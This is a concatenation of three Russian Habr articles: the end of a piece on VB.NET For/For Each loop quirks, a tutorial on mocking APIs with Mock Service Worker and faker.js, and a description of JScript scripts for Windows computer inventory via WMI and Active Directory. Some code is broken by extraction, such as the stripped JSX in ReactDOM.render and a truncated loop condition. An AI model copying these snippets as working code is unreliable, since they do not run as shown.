Кстати, команды разработчиков VB и C# решили изменить поведение управляющих переменных (*control variables*) в `For Each` в VS2012 (?), чтобы лямбда-выражения захватывали их «на итерацию». Это на 10000% более практично и интуитивно, чем было раньше (на самом деле, VB раньше показывал предупреждении в этом сценарии, потому что поведение было слишком неинтуитивно). Кроме того, команда разработчиков языка VB очень серьезно рассматривала изменение поведения управляющих переменных в `For`, чтобы они вели себя как переменные внутри цикла. То есть чтобы вы все еще могли изменить их значение внутри цикла, но после захвата текущее значение замораживалось. Это изменение рассматривалось вместе с идеей, что в VB циклы `For` были намного ближе к циклам `For Each`, чем `for` к `foreach` в C#. В конечном счете мы так и не внесли это изменение, но цикл `For` в VB по-прежнему выдает предупреждение, когда захватывается управляющая переменная, потому что поведение часто становится сюрпризом.
### 32. Три выражения цикла For вычисляются только один раз в начале цикла
После начала вы не можете изменить границы цикла `For`. Выражения в заголовке цикла вычисляются только один раз, а результаты кэшируются, поэтому в этом примере будет напечатано 1,3,5,7,9, даже если изменение верхней границы и инкремента заставляет вас думать, что он будет крутиться вечно.
```
Module Program
Sub Main()
Dim lower = 1,
upper = 9,
increment = 2
For i = lower To upper Step increment
Console.WriteLine(i)
upper += 1
increment -= 1
Next
End Sub
End Module
```
[gist.github.com/AnthonyDGreen/1e48113be204f515c51e221858666ac7#file-for-loop-bounds-cached-vb](https://gist.github.com/AnthonyDGreen/1e48113be204f515c51e221858666ac7#file-for-loop-bounds-cached-vb)
Это оптимизация на случай, если эти выражения сложны и имеют достаточно побочных эффектов (в конце концов размер массива никогда не изменится), но это означает, что если вы изменяете коллекцию, по которой идет итерирование, вы не пройдете по новым элементам и можете получить `IndexOutOfRangeExceptions`, пытаясь пройти по удаленным.
Тем не менее, я не уверен, что мир будет работать без этого, учитывая, что, в отличие от цикла в стиле C, условие цикла в VB выводится. Вы когда-нибудь задумывались, как VB понимает, цикл `For i = a To b Step c` считает вверх (и должен остановиться, когда `i> b` ) или вниз (и должен остановиться, когда `i ), особенно если `c` неизвестна во время компиляции? Это довольно захватывающее чтение, особенно при позднем связывании, но этот карточный домик рухнул бы, если бы `b` иногда было положительным, а иногда — отрицательным. Я даже не уверен, чего в этом случае ожидать, но, благо, мне никогда не придется об этом думать.
### 33. For Each циклы в VB могут использовать метод расширения GetEnumerator
Чтобы тип можно было использовать в `For Each`, типу не нужно реализовывать `IEnumerable`, компилятору просто должен быть доступен метод `GetEnumerator` в коллекции, по которой делается `For Each`.
Например, я всегда считал, что должна быть возможность `For Each` по `IEnumerator` в ситуациях, когда вы уже использовали его часть и хотите возобновить итерирование, например:
```
Module Program
Sub Main()
Dim list = New List(Of Integer) From {1, 2, 3, 4, 5}
Dim info = list.FirstAndRest()
If info.First IsNot Nothing Then
Console.Write(info.First.GetValueOrDefault())
For Each other In info.Additional
Console.Write(", ")
Console.Write(other)
Next
Console.WriteLine()
End If
End Sub
Function FirstAndRest(Of T As Structure)(sequence As IEnumerable(Of T)) As (First As T?, Additional As IEnumerator(Of T))
Dim enumerator = sequence.GetEnumerator()
If enumerator.MoveNext() Then
Return (enumerator.Current, enumerator)
Else
Return (Nothing, enumerator)
End If
End Function
Function GetEnumerator(Of T)(enumerator As IEnumerator(Of T)) As IEnumerator(Of T)
Return enumerator
End Function
End Module
```
[gist.github.com/AnthonyDGreen/d7dbb7a5b98a940765c4adc33e3eaeee#file-for-each-extension-get-enumerator-vb](https://gist.github.com/AnthonyDGreen/d7dbb7a5b98a940765c4adc33e3eaeee#file-for-each-extension-get-enumerator-vb)
В этом примере я взял очередь у моих друзей из F# и разделил последовательность на первый элемент и остаток, а также расширил `IEnumerator`, чтобы я мог выполнить `For Each` на всех неиспользованных элементах, оставшихся в последовательности.
В VB есть общая тема, что когда языковой конструкции нужно найти член с хорошо известным именем (*well-known name*), этот член может быть методом расширения. Это также относится, например, к методу Add, используемому инициализаторами коллекции. C# по умолчанию так не делает, но с каждой версией относится к этому все проще (см. `async`/`await`). На самом деле там был баг, в котором компилятор C# Roslyn (случайно) делал это для инициализаторов коллекций, и они решили его оставить.
> Минутка рекламы. 15-16 мая в Санкт-Петербурге состоится конференция для .NET-разработчиков [DotNext 2019 Piter](https://dotnext-piter.ru/?utm_source=habr&utm_medium=443684). Будет множество докладов, касающихся деталей работы и внутреннего устройства платформы. Программа всё ещё находится на этапе формирования, но около половины докладов уже известны. На официальном сайте можно [ознакомиться с программой](https://dotnext-piter.ru/?utm_source=habr&utm_medium=443684#schedule) и [приобрести билеты](https://dotnext-piter.ru/registration/?utm_source=habr&utm_medium=443684).` | https://habr.com/ru/post/443684/ | null | ru | null |
# Моки без лишней мороки с mswjs+faker.js
Привет, Хабр! Меня зовут Виктор, я фронтенд-работчик в Admitad. Моя команда делает личный кабинет клиентов. Недавно я в очередной раз столкнулся с типичной проблемой: для создания нового функционала фронтенд и бэкенд нужно было реализовывать параллельно. Но как делать фронт, не имея 100% рабочих эндпойнтов на бэкенде? Сегодня я расскажу о том, какие подходы применял, и разберу их плюсы и минусы.
О проблеме
----------
Как я уже сказал выше, проблема заключалась в том, что мне было необходимо отобразить полученные в результате запроса на сервер данные в одном из разделов приложения. Но на бэкенде этот эндпойнт был еще не готов. Стандартный выход из подобной ситуации это использование mock-данных.
> Mock-объект - тип объектов, реализующих заданные аспекты моделируемого программного окружения (c)Википедия
>
>
Как организовать получение mock-данных?
---------------------------------------
Для решения проблемы есть несколько вариантов. Начнем с самого популярного.
### Пишем сервер на node.js
Мы всегда можем написать свой mock-server на node.js используя такие фреймворки, как express или koa.
Особых сложностей в этом нет, особенно, если вы уже знакомы с node.js. Например, на [express](https://expressjs.com/) код простейшего сервера будет выглядеть таким образом:
```
import express from 'express';
const app = express();
const port = 3000;
app.get('/', (req, res) => {
res.send('This is Main!');
});
app.listen(port, () => {
console.log(`App listening at http://localhost:${port}`);
});
```
О более продвинутом можно почитать [тут](https://medium.com/analytics-vidhya/how-to-setup-node-express-server-to-mock-apis-response-locally-53b4fdb8de97).
К плюсам данного подхода я отношу серьезные возможности в настройке сервера и огромное количество туториалов по его использованию. Основные минусы, на мой взгляд, в том, что необходимо запускать такой сервер отдельно от разрабатываемого приложения.
### Используем внешние API сервисы
Уверен, многие знакомы с таким сервисом готовых API, как [jsonplaceholder.typicode.com](https://jsonplaceholder.typicode.com/), в котором есть как готовые энднпойнты, например, /posts, /comments..., так и возможность добавлять свои, причем, либо создав в репозитории своего проекта файл db.json с фейковыми данными, либо с помощью приложения [Mockend](https://mockend.com/). Главный, на мой взгляд, минус заключается в том, что такой подход не позволяет использовать например POST-запросы.
### Используем Mock Service Worker + Faker
Этот способ мне показался наиболее удобным, поскольку позволяет вести разработку в пределах основного проекта, легко подключая необходимые эндпойнты и отключая уже ненужные. В отличие от предыдущего способа, он предоставляет такие возможности как обработка всех REST-запросов и генерация набора данных с помощью моделей.
Итак, наши инструменты:
* [Mock Service Worker](https://mswjs.io/)(далее MSW) - перехватывает запросы на сетевом уровне в браузере, обрабатывает их и возвращает ответы;
* [Faker](https://github.com/Marak/Faker.js#readme) - генерирует данные в соответствии с нашими потребностями;
Работает всё следующим образом: настраиваем service worker, который будет обрабатывать наши сетевые запросы и возвращать сгенерированные нами фэйковые данные, пока бэкенд в разработке. Таким образом работа двух команд может вестись параллельно. А когда бэкенд будет готов, достаточно будет сделать сборку без флага, запускающего mock-сервис.
Две основные концепции с которыми работает MSW, это:
* request handler - обработчик запроса, который определяет, должен ли быть замокан запрос
* response resolver - функция, принимающая перехваченный запрос и возвращающая замоканный ответ
#### Обработчики запросов
MSW содержит в себе два набора методов для создания обработчиков для работы с API: rest и graphql.
Методы rest:
* `rest.get()`
* `rest.post()`
* `rest.put()`
* `rest.patch()`
* `rest.delete()`
* `rest.options()`
Первым аргументом методы принимают URL запроса, а вторым response resolver.
Пример из документации:
```
import { setupWorker, rest } from 'msw'
const worker = setupWorker(
rest.get('/users/:userId', (req, res, ctx) => {
const { userId } = req.params
return res(
ctx.json({
id: userId,
firstName: 'John',
lastName: 'Maverick',
}),
)
}),
)
worker.start()
```
Пример
------
Я создал простой проект с использованием mswjs + faker в качестве mock-сервера. Код проекта находится в [репозитории](https://github.com/shataev/mswjs-faker-students-list). Фронт написан на React+TypeScript, redux в качестве стейт менеджера в связке с redux-saga, для стилей Sass. Файловая структура такая:
Пройдемся по папкам:
* в api хранится реализация отправки сетевых запросов
* в components понятно, компоненты
* в mocks все, что связано с mock-сервером
* в modules вынесен функционал связанный с каждой отдельной сущностью, в моем случае это Students
* в store находится все, что отвечает за состояние приложения
Для создания проекта я использовал [create-react-app](https://create-react-app.dev/):
```
npx create-react-app studentList
```
Далее установил faker и Mock Service Worker как devDependencies:
### Настройки MSW
Для начала инициализируем Mock Service Worker используя следующую команду:
```
npx msw init public/ --save
```
В результате в папке `/public` будет создан файл mockServiceWorker.js со всеми необходимыми настройками для подключения сервис-воркера для mock-сервера.
После чего создадим файл src/mocks/browser.js, в котором подключим обработчики запросов:
```
// src/mocks/browser.js
import { setupWorker } from 'msw';
import { handlers } from './handlers';
export const worker = setupWorker(...handlers);
```
*Внимание! Использовать Mock Service Worker в production сборке крайне не рекомендуется!*
Используем переменную окружения NODE\_ENV, для проверки окружения, для которого собирается приложение в src/index.js:
```
// src/index.js
import React from 'react';
import ReactDOM from 'react-dom';
import App from './App';
if (process.env.NODE_ENV === 'development') {
const { worker } = require('./mocks/browser');
worker.start();
}
ReactDOM.render(, document.getElementById('root'));
```
После выполнения команды npm start и запуска приложения откроем браузер и увидим в консоли Developer Tools сообщение о том, что mock-server запущен.
Значит все правильно настроили.
#### Подводные камни
Описанный пример [взят из документации](https://mswjs.io/docs/getting-started/integrate/browser), но с ним все не так просто. Если приложение сразу после загрузки отправляет сетевые запросы (а именно так и работает наше приложение), вначале посыпятся 404-е ответы. Так происходит, потому что регистрация сервис-воркера - процесс асинхронный. Поэтому старт приложения и необходимые для этого запросы необходимо выполнить после окончания этого процесса:
#### Добавляем обработчики запросов
Список студентов я получаю по запросу `GET /students`. Создадим для него обработчик:
```
// /src/mocks/handlers/students.ts
import {rest} from 'msw';
import { STUDENTS_LIST_ROUTE_MASK } from '../mocks.constants';
import {db} from '../db';
import { IStudent } from '../../components/StudentCard/StudentCard.types';
export const getStudentsHandler = rest.get(STUDENTS_LIST_ROUTE_MASK, ( req, res, ctx)=>{
// Генерируем мо модели массив из шести студентов
// и возвращаем его в ответе
let students:IStudent[] = [];
for (let i = 0; i < 6; i += 1) {
students.push(db.student.create());
}
return res(
ctx.json({
students
})
)
})
```
#### Модель данных
Для генерации списка студентов используем библиотеку для моделирования данных @mswjs/data и faker.
```
// /src/mocks/models/StudentModel
import { primaryKey } from '@mswjs/data';
import faker from 'faker';
export const StudentModel = {
id: primaryKey(() => faker.random.number(10000).toString()),
firstName: ()=> faker.name.firstName(),
lastName: () => faker.name.lastName(),
age: () => faker.datatype.number({min: 18, max: 69}),
email: () => faker.internet.email(),
phone: () => faker.phone.phoneNumber(('+7 (###) ###-##-##')),
city: () => faker.address.cityName(),
company: () => faker.company.companyName(),
avatar: () => faker.image.avatar(),
information: () => faker.lorem.words(10),
};
```
В каждой модели прописываем данные, которые faker будет генерировать на каждый запрос. Апишка фейкера выглядит немного необычно, но довольно удобно, это очень дружелюбный DSL, реализованный с помощью цепочек выполнения, разделенный по категориям, которых более 20 (!). Используем следующие категории:
**Image**
Содержит в себе методы для генерации изображений. Например, для того чтобы сгенерировать URL, содержащий аватар 128x128 пикселей нужно вызывать
`faker.image.avatar()`
Таким образом мы получим URL, например:
`https://cdn.fakercloud.com/avatars/eduardostuart_128.jpg`
**Company**
Возвращает информацию связанную с компанией, это может быть: companySuffix, catchPhrase, или множество других полей, нам понадобится метод companyName.
**Internet**
Тут нам понадобятся методы email, url. Названия говорят сами за себя.
**Datatype**
Генерирует случайную последовательность таких типов, как:
* number - целые числа, предел которых можно ограничить полями min и max
* float - действительные числа
* arrayElements - массив
* и т.д.
В файле db.ts для подключения созданной модели используем функцию factory из @mswjs/data:
```
// /src/mocks/db.ts
import { factory } from '@mswjs/data';
import {StudentModel} from './models'
export const db = factory({
student: StudentModel
})
```
Запустив приложение, в браузере увидим сгенерированный список студентов:
Пример отображения данных, сгенерированных с помощью faker.js и полученных приложением по запросу GET /studentsПо каждому запросу в консоли можно увидеть подробную информацию от MSW:
Для того, чтобы сервис-воркер перестал перехватывать тот или иной запрос, можно просто отключить/удалить соответствущий обработчик.
Вывод
-----
Описанный подход существенно упрощает и ускоряет разработку, поскольку делает фронтенд-команду менее зависимой от бэкенда. Основными преимуществами в таком походе для меня стали:
* возможность запуска mock-сервера непосредственно из основного проекта
* легкое переключение между реальными и фейковыми эндпойнтами
* быстрая и гибкая настройка обработчиков запросов
Делитесь в комментариях мнениями о таком варианте mock-сервера. | https://habr.com/ru/post/574792/ | null | ru | null |
# Полезные мелочи Windows администратора, поиск компьютеров пользователей и не только
Как-то давно на хабре публиковалась статья [Опытные мелочи Windows-админа](https://habr.com/ru/post/121801). В ней рассказывалось как быстро и достаточно эффективно находить компьютеры на которых залогинился тот или иной пользователь.
Демонстрация работы скрипта env.searchМне эта идея понравилась, т.к. всё делается достаточно просто, быстро и без модификации схемы Active Directory. Я постепенно улучшал изложенные в статье подходы и в итоге появились три скрипта, которыми я и хочу поделится с вами.
Вывод в консоль переменных созданных скриптом env1. [env](https://github.com/ViPiC-Ru/env) – с помощью этого скрипта получаем данные по компьютеру и добавляем эти данные во временные переменные среды.
2. [env.send](https://github.com/ViPiC-Ru/env.send) – с помощью этого скрипта данные из переменных среды передаём в описание компьютера в Active Directory.
3. [env.search](https://github.com/ViPiC-Ru/env.search) – с помощью этого скрипта ищем нужный нам компьютер в Active Directory и подключаемся к нему.
На самом деле скрипты более универсальные и с помощью них можно делать не только изложенные выше действия, а например:
Результат работы скрипта env.send* Можно делать инвентаризацию компьютеров по сети в csv файл или в папку с ini файлами.
* При отсутствии Active Directory можно по данным из переменных среды автоматически создавать ярлычок, который в своём названии будут содержать нужные данные по компьютеру, а при клике подключатся к нему или делать другое полезное системному администратору действие.
* Поиск нужных компьютеров можно выполнять не только в Active Directory, но и в простом хранилище в виде папки с ini файлами.
* А так же можно использовать временные переменные среды в других скриптах, например для установки программного обеспечения нужной разрядности и т.д.
Ниже привожу описание всех скриптов, что бы можно было более детально ознакомится с их возможностями. Надеюсь что они будут вам полезны, так же как мне. Сами скрипты и их исходные коды доступны в моём профиле на [GitHub](https://github.com/vipic-ru).
env
---
### Описание
`JScript` для добавления в **переменные среды** временных переменных. Которые затем можно использовать в вызове других скриптов и приложений. Данные для переменных получаются через `WMI` с **локального** или **удалённого** компьютера в сети. Дополнительно переменные можно **импортировать** из файла и **экспортировать** в файл, поддерживается несколько форматов.
Достаточно часто **системному администратору** требуется получить общую информацию о **компьютере** и **пользователе**, чтобы затем её использовать в вызове другого скрипта или приложений. А также эту информацию иногда требуется сохранить в файл, например для инвентаризационного учёта или для использования в дальнейшем. Данный скрипт предоставляет такие возможности.
### Использование
В командной строке **Windows** введите следующую команду. Все параметры можно передавать в произвольном порядке. Если необходимо скрыть отображение окна консоли, то вместо `cscript` можно использовать `wscript`.
```
cscript env.min.js [\\] [@] [] [...] ...
```
* - Сетевое **имя** или **ip** адрес компьютера, в контексте которого нужно получить данные для переменных.
* - Формат текстовых данных стандартного потока ввода для **импорта** переменных.
+ **ini** - Получает из потока данные для переменных в `ini` формате.
+ **csv** - Получает данные в `csv` формате (заглавное написание ожидает ещё и заголовок).
+ **tsv** - Получает данные в `tsv` формате (заглавное написание ожидает ещё и заголовок).
* - Кодировка текстовых данных, направленных в стандартный поток ввода (можно использовать значение `auto`).
* - Формат текстовых данных стандартного потока вывода для **экспорта** переменных.
+ **ini** - Отправляет в поток данные переменных в `ini` формате.
+ **csv** - Отправляет данные в `csv` формате (заглавное написание добавляет ещё и заголовок).
+ **tsv** - Отправляет данные в `tsv` формате (заглавное написание добавляет ещё и заголовок).
* - Дополнительные опции (можно указать несколько).
+ **silent** - Последующие команды выполнить без отображения.
+ **nowait** - Последующие команды выполнить без ожидания.
* `...` - Далее указывается командная строка для выполнения, в которой будут доступны эти **переменные среды**.
### Переменные среды
Скрипт добавляет описанные ниже временные переменные в среду процесса. Если нет данных для формирования переменной, то переменная не создаётся.
#### Операционная система
* `SYS-ARCHITECTURE` - Архитектура операционной системы `x64` и `x86`.
* `SYS-DESCRIPTION` - Описание системы (компьютера), заданное пользователем.
* `SYS-DRIVE` - Буква системного диска (вместе с двоеточием).
* `SYS-INSTALL` - Дата и время установки системы в формате `ДД.ММ.ГГГГ ЧЧ:ММ:СС`.
* `SYS-INSTALL-DATE` - Только дата установки системы в формате `ДД.ММ.ГГГГ`.
* `SYS-KEY` - Ключи активации операционной системы.
* `SYS-NAME` - Заданное производителем полное название операционной системы.
* `SYS-RESET` - Дата и время перезагрузки системы в формате `ДД.ММ.ГГГГ ЧЧ:ММ:СС`.
* `SYS-RESET-DATE` - Только дата перезагрузки системы в формате `ДД.ММ.ГГГГ`.
* `SYS-SERIAL` - Серийный номер операционной системы.
* `SYS-TIME` - Текущая дата и время в системе в формате `ДД.ММ.ГГГГ ЧЧ:ММ:СС`.
* `SYS-TIME-DATE` - Только текущая дата в системы в формате `ДД.ММ.ГГГГ`.
* `SYS-VERSION` - Версия операционной системы.
#### Пользователь
* `USR-ACCOUNT` - Аккаунт пользователя, который последним использовал компьютер.
* `USR-DOMAIN` - Доменная часть аккаунта пользователя.
* `USR-LOGIN` - Часть логина в аккаунте пользователя.
* `USR-HOME` - Полный путь к домашнему каталогу пользователя.
* `USR-PROFILE` - Полный путь к папке профиля пользователя.
* `USR-NAME` - Отображаемое имя пользователя.
* `USR-NAME-FIRST` - Первая часть отображаемого имени пользователя.
* `USR-NAME-SECOND` - Втор часть отображаемого имени пользователя.
* `USR-NAME-THIRD` - Третья часть отображаемого имени пользователя.
* `USR-NAME-FOURTH` - Четвёртая часть отображаемого имени пользователя.
* `USR-SID` - Идентификатор безопасности пользователя.
#### Компьютер
* `DEV-NAME` - Заданное производителем полное название модели.
* `DEV-DESCRIPTION` - Формируемое скриптом описание компьютера из его характеристик.
* `DEV-BENCHMARK` - Вычисляемый скриптом рейтинг производительности компьютера.
#### Материнская плата
* `PCB-NAME` - Заданное производителем полное название модели.
* `PCB-SERIAL` - Серийный номер материнской платы.
* `PCB-BIOS-MANUFACTURE` - Название производителя BIOS материнской платы.
* `PCB-BIOS-RELEASE` - Дата и время прошивки BIOS материнской платы.
* `PCB-BIOS-RELEASE-DATE` - Только дата прошивки BIOS материнской платы.
* `PCB-BIOS-SERIAL` - Серийный номер, хранящийся в BIOS материнской платы.
* `PCB-BIOS-VERSION` - Версия прошивки BIOS материнской платы.
#### Центральный процессор
* `CPU-ARCHITECTURE` - Архитектура центрального процессора `x64` и `x86`.
* `CPU-CACHE-L1` - Размер L1 кэша с размерностью `КБ`, `МБ` и так далее.
* `CPU-CACHE-L2` - Размер L2 кэша с размерностью `КБ`, `МБ` и так далее.
* `CPU-CACHE-L3` - Размер L3 кэша с размерностью `КБ`, `МБ` и так далее.
* `CPU-CORE` - Количество ядер центрального процессора.
* `CPU-NAME` - Заданное производителем полное название модели.
* `CPU-SOCKET` - Название сокета центрального процессора.
* `CPU-SPEED` - Тактовая частота с размерностью `МГц`, `ГГц` и так далее.
* `CPU-SPEED-VAL` - Значение тактовой частота в `герцах`.
* `CPU-VERSION` - Версия релиза центрального процессора.
#### Оперативная память
* `RAM-SIZE` - Объём оперативной памяти с размерностью `МБ`, `ГБ` и так далее.
* `RAM-SIZE-VAL` - Значение объёма оперативной памяти в `байтах`.
* `RAM-SPEED` - Тактовая частота с размерностью `МГц`, `ГГц` и так далее.
* `RAM-SPEED-VAL` - Значение тактовой частота в `герцах`.
#### Графический процессор
* `GPU-COLOR` - Глубина цвета графического процессора с размерностью в `битах`.
* `GPU-COLOR-VAL` - Значение глубины цвета графического процессора в `битах`.
* `GPU-FREQUENCY` - Частота обновления с размерностью в `Гц`.
* `GPU-FREQUENCY-VAL` - Значение частота обновления в `герцах`.
* `GPU-NAME` - Заданное производителем полное название модели.
* `GPU-RESOLUTION` - Разрешение экрана, подключенного к графическому процессору.
* `GPU-RESOLUTION-X` - Разрешение экрана по горизонтали.
* `GPU-RESOLUTION-Y` - Разрешение экрана по вертикали.
* `GPU-SIZE` - Объём памяти с размерностью `МБ`, `ГБ` и так далее.
* `GPU-SIZE-VAL` - Значение объёма памяти графического процессора в `байтах`.
* `GPU-VERSION` - Версия драйвера графического процессора.
#### Сетевой адаптер
* `NET-IP-V4` - IPv4 адрес активного сетевого адаптера.
* `NET-IP-V6` - IPv6 адрес активного сетевого адаптера.
* `NET-SUBNET-V4` - IPv4 маска подсети активного сетевого адаптера.
* `NET-SUBNET-V6` - IPv6 маска подсети активного сетевого адаптера.
* `NET-GATEWAY-V4` - IPv4 шлюз активного сетевого адаптера.
* `NET-GATEWAY-V6` - IPv6 шлюз активного сетевого адаптера.
* `NET-DNS-V4` - IPv4 адрес DNS сервера сетевого адаптера.
* `NET-DNS-V6` - IPv6 адрес DNS сервера сетевого адаптера.
* `NET-DHCP-V4` - IPv4 адрес DHCP сервера локальной сети.
* `NET-DOMAIN` - Домен в котором зарегистрирован компьютер.
* `NET-HOST` - Зарегистрированное сетевое имя компьютера.
* `NET-HOST-DN` - Значение `Distinguished Name` компьютера в домене.
* `NET-MAC` - Физический адрес активного сетевого адаптера.
* `NET-NAME` - Заданное производителем название сетевого адаптера.
* `NET-RESET` - Дата и время обновления адресов в формате `ДД.ММ.ГГГГ ЧЧ:ММ:СС`.
* `NET-RESET-DATE` - Только дата обновления адресов в формате `ДД.ММ.ГГГГ`.
* `NET-SPEED` - Скорость подключения с размерностью `Мбит/с`, `Гбит/с` и так далее.
* `NET-SPEED-VAL` - Значение скорость подключения в `битах` в `секунду`.
#### Жёсткий диск
* `HDD-NAME` - Заданное производителем название жёсткого диска.
* `HDD-SERIAL` - Серийный номер жёсткого диска.
* `HDD-SIZE` - Объём жёсткого диска с размерностью `МБ`, `ГБ` и так далее.
* `HDD-SIZE-VAL` - Значение объёма жёсткого диска в `байтах`.
* `HDD-VERSION` - Версия прошивки жёсткого диска.
#### Твердотельный накопитель
* `SSD-NAME` - Заданное производителем название твердотельного накопителя.
* `SSD-SERIAL` - Серийный номер твердотельного накопителя.
* `SSD-SIZE` - Объём твердотельного накопителя с размерностью `МБ`, `ГБ` и так далее.
* `SSD-SIZE-VAL` - Значение объёма твердотельного накопителя в `байтах`.
* `SSD-VERSION` - Версия прошивки твердотельного накопителя.
#### Сменный накопитель
* `USB-NAME` - Заданное производителем название сменного накопителя.
* `USB-SERIAL` - Серийный номер сменного накопителя.
* `USB-SIZE` - Объём сменного накопителя с размерностью `МБ`, `ГБ` и так далее.
* `USB-SIZE-VAL` - Значение объёма сменного накопителя в `байтах`.
* `USB-VERSION` - Версия прошивки сменного накопителя.
#### Специализированный накопитель
* `SCM-NAME` - Заданное производителем название специализированного накопителя.
* `SCM-SERIAL` - Серийный номер специализированного накопителя.
* `SCM-SIZE` - Объём специализированного накопителя с размерностью `МБ`, `ГБ` и так далее.
* `SCM-SIZE-VAL` - Значение объёма специализированного накопителя в `байтах`.
* `SCM-VERSION` - Версия прошивки специализированного накопителя.
#### Оптический привод
* `ROM-NAME` - Заданное производителем название оптического привода.
* `ROM-DRIVE` - Буква оптического привода (вместе с двоеточием).
* `ROM-TYPE` - Тип оптического привода `DVD-RW`, `CD` и так далее.
#### Программное обеспечение
Браузер Google Chrome
* `APP-CHROME` - Полный путь исполняемого файла приложения.
* `APP-CHROME-DIR` - Полный путь каталога приложения.
Проигрыватель VLC Media Player
* `APP-VLC` - Полный путь исполняемого файла приложения.
* `APP-VLC-DIR` - Полный путь каталога приложения.
Приложение Spargo eFarma
* `APP-EFARMA-CLIENT` - Полный путь исполняемого файла клиента.
* `APP-EFARMA-CASHER` - Полный путь исполняемого файла кассы.
* `APP-EFARMA-UPDATER` - Полный путь исполняемого файла сервера обновлений.
* `APP-EFARMA-LICENSE` - Полный путь файла лицензии.
* `APP-EFARMA-DIR` - Полный путь каталога приложения.
Приложение SoftLine Ulus
* `APP-ULUS` - Полный путь исполняемого файла приложения.
* `APP-ULUS-DIR` - Полный путь каталога приложения.
Приложение TeamViewer
* `APP-TEAMVIEWER-ID` - Идентификатор компьютера.
#### Другие переменные
* `BAK-DRIVE` - Буква диска для резервных копий (вместе с двоеточием).
### Примеры использования
#### Получение данных
Вывести в консоль все созданные переменные среды в контексте текущего компьютера.
```
cscript env.min.js ini
```
Вывести в консоль все созданные переменные среды в контексте компьютера `RUS000WS001`.
```
cscript env.min.js ini \\RUS000WS001
```
#### Экспорт данных
Экспортировать все созданные переменные среды в `ini` файл с кодировкой `CP 866` в контексте текущего компьютера.
```
cscript /nologo env.min.js ini > %COMPUTERNAME%.ini
```
Экспортировать все созданные переменные среды в `ini` файл с кодировкой `UTF-16 LE` в контексте текущего компьютера.
```
cscript /nologo /u env.min.js ini > %COMPUTERNAME%.ini
```
Экспортировать все созданные переменные среды в `csv` файл без заголовка и с кодировкой `UTF-16 LE` в контексте компьютера `RUS000WS001`.
```
cscript /nologo /u env.min.js \\RUS000WS001 csv > RUS000WS001.csv
```
Экспортировать все созданные переменные среды в `csv` файл с заголовком и с кодировкой `UTF-16 LE` в контексте компьютера `RUS000WS001`.
```
cscript /nologo /u env.min.js \\RUS000WS001 CSV > RUS000WS001.csv
```
#### Импорт данных
Импортировать переменные среды из `ini` файла с кодировкой `CP 866` и вывести их в консоль.
```
cscript /nologo env.min.js ini@cp866 \\ ini < %COMPUTERNAME%.ini
```
Импортировать переменные среды из `ini` файла с кодировкой `UTF-16 LE` и затем ещё и получить переменные среды в контексте компьютера `RUS000WS001` и вывести их в консоль.
```
cscript /nologo /u env.min.js ini@auto \\RUS000WS001 ini < RUS000WS001.ini
```
Импортировать переменные среды из `csv` файла с заголовком и с кодировкой `UTF-16 LE` и затем ещё и получить переменные среды в контексте компьютера `RUS000WS001` и вывести их в консоль.
```
cscript /nologo /u env.min.js CSV@auto \\RUS000WS001 ini < RUS000WS001.csv
```
#### Использование данных
Выполнить тихую установку `msi` пакета с именем, соответствующим разрядности операционной системы текущего компьютера.
```
cscript env.min.js %SYS-ARCHITECTURE%.msi /quiet /qn /norestart
```
Открыть в **VLC Media Player** воспроизведение `mp4` видео файла с именем, соответствующим логину пользователя и не дожидаться окончания воспроизведения.
```
wscript env.min.js nowait "%APP-VLC%" %USR-LOGIN%.mp4
```
Открыть в **Проводнике** домашний каталог пользователя, который последним использовал удалённый компьютер `RUS000WS001`.
```
wscript env.min.js \\RUS000WS001 explorer.exe "%USR-HOME%"
```
#### Инвентаризация компьютеров
Загрузить из `txt` файла список компьютеров и сохранить о них информацию в папке `inventory` в виде `ini` файлов.
```
for /f "eol=; tokens=* delims=, " %%i in (list.txt) do (
cscript /nologo /u env.min.js \\%%i ini > inventory\%%i.ini
)
```
Загрузить из `txt` файла список компьютеров и сохранить о них информацию в один `csv` файл с заголовком.
```
cscript /nologo /u env.min.js \\ CSV > inventory.csv
for /f "eol=; tokens=* delims=, " %%i in (list.txt) do (
cscript /nologo /u env.min.js \\%%i csv >> inventory.csv
)
```
Сконвертировать и объединить `ini` файлы из папке `inventory` в один `tsv` файл с заголовком.
```
cscript /nologo /u env.min.js \\ TSV > inventory.tsv
for %%i in (inventory\*.ini) do (
cscript /nologo /u env.min.js \\ ini@auto tsv < %%i >> inventory.tsv
)
```
env.send
--------
### Описание
`JScript` для отправки **переменных среды** в объект `Active Directory` по протоколу `LDAP` или в файл ярлыка в папке. Основная задача скрипта сохранить собранные данные с помощью другого скрипта [env](https://github.com/vipic-ru/env) в любой атрибут (или атрибуты) объекта `Active Directory` или на основании этих данных создать по шаблону ярлык в папке. Чтобы затем использовать этот ярлык или данные из `Active Directory` в целях системного администрирования.
### Использование
В командной строке **Windows** введите следующую команду. Если необходимо скрыть отображение окна консоли, то вместо `cscript` можно использовать `wscript`.
```
cscript env.send.min.js [...] \\ [...]
```
* - Режим отправки переменных (заглавное написание выполняет только эмуляцию).
+ **link** - Отправляет переменных среды в обычный ярлык.
+ **ldap** - Отправляет переменных среды в объект `Active Directory`.
* - Путь к папке или `guid` (допускается указание пустого значения).
* - Изменяемые свойства объекта в формате `key=value` c подстановкой переменных `%ENV%`. Первое свойство считается обязательным, т.к. по его значению осуществляется поиск объектов. Для режима **link** обязательно наличие свойств `name` и `targetpath`, а в свойстве `arguments` одинарные кавычки заменяются на двойные.
* - Значения по умолчанию для переменных среды в формате `key=value`.
### Примеры использования
> Предполагается использовать данный скрипт совместно с другим скриптом [env](https://github.com/vipic-ru/env), поэтому сразу в примерах будут использоваться два скрипта.
>
>
Когда компьютер в **домене**, то в **групповых политиках** при входе пользователя в компьютер, можно прописать следующий скрипт, что бы информация о компьютере и пользователе прописалась в атрибуты **описания** и **местоположения** компьютера в `Active Directory` в пределах `Organizational Unit` c **guid** `{ABCD1234-111B-14DC-ABAC-4578F1145541}`. Что бы затем быстро находить нужный компьютер пользователя или анализировать собранную информацию. Что бы узнать **guid** контейнера в `Active Directory` можно воспользоваться программой [Active Directory Explorer](https://docs.microsoft.com/ru-ru/sysinternals/downloads/adexplorer). Так же не забудьте пользователям выдать права на изменения нужных атрибутов компьютеров в соответствующем контейнере.
```
